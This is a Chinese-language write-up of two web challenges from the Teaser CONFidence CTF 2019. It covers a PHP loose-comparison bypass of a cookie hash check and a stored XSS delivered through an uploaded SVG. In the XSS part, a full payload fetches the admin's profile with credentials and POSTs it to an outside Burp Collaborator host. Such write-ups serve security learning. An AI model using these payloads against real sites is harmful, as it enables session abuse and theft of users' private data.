Teaser CONFidence CTF 2019 web writeup

Teaser CONFidence CTF 2019 web writeup

My admin panel

核心思路:
题目给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include '../func.php';
include '../config.php';
if (!$_COOKIE['otadmin']) {
exit("Not authenticated.\");
}
if (!preg_match('/^{"hash": [0-9A-Z\\"]+}$/', $_COOKIE['otadmin'])) {
echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\";
exit();
}
$session_data = json_decode($_COOKIE['otadmin'], true);
if ($session_data === NULL) {
echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\"; exit();
}
if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
echo("I CAN EVEN GIVE YOU A HINT XD \");
for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
}
exit("\");
}
display_admin();

可以看到问题出现在$session_data['hash'] != strtoupper(MD5($cfg_pass)),这是一个弱类型比较,而且根据hint,我们可以知道cfg_pass的前三位是数字,所以爆破前三位,即可绕过弱类型比较

知识点:

  • php弱类型比较,123==”123a”
  • 0xc0的二进制是11000000,数字的ASCII码的二进制是00开始,字母的ASCII码的二进制是01开始
  • burpsuite的intruder模块的使用

复现过程:
positions
payload-2
flag-5

Web 50

这道题是看了writeup后复现出来的,非常感谢大佬的分享
核心思路:
题目有两个功能Profilereport a bug,到report a bug里看一下发现有提示,admin will take a look, blah blah, you know what it means,推测有XSS漏洞,然后在Profile中寻找攻击点,最后想办法得到admin的信息即可
知识点:

  • svg+xml实现存储型XSS
  • 绕过HTTP-Only的限制
  • burpsuite collaborator的使用

复现过程:
首先是两个登陆框,随便输入就可以进去
然后进入Profile,发现可以上传图片,而且经过尝试,可以上传svg格式的图片,但是有长宽限制,直接加上就可以了,验证存在XSS的payload如下

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100px" height="100px">
<script type="text/javascript"> alert('XSS!'); </script></svg>

testxss
ps:注意将Content-Type改成image/svg+xml
然后访问图片,发现成功XSS
xss
接下来的问题就是如何让admin去访问,一开始是想尝试直接打admin的cookie,但是经过尝试并没有回显,推测可能是使用了HTTP-Only,只能换一种思路
我们可以让admin去GET请求/profile/admin,然后再POST到我们的服务器上,这里推荐使用burpsuite的拓展模块collaborator
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100px" height="100px">
<script type="text/javascript">
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://XXXX.burpcollaborator.net/");
xhr2.send(xhr.responseText);
}
}
xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin");
xhr.withCredentials = true;
xhr.send();
</script></svg>

将上边的http://XXXX.burpcollaborator.net替换成collaborator给你提供的url
在extender里可以直接安装collaborator,我们首先获取url
co
然后点击Copy to clipboard,再直接去粘贴,将获取到的url替换掉
最后去report bug 就可以从collaborator client里收到admin发来的消息了
flag-6

0%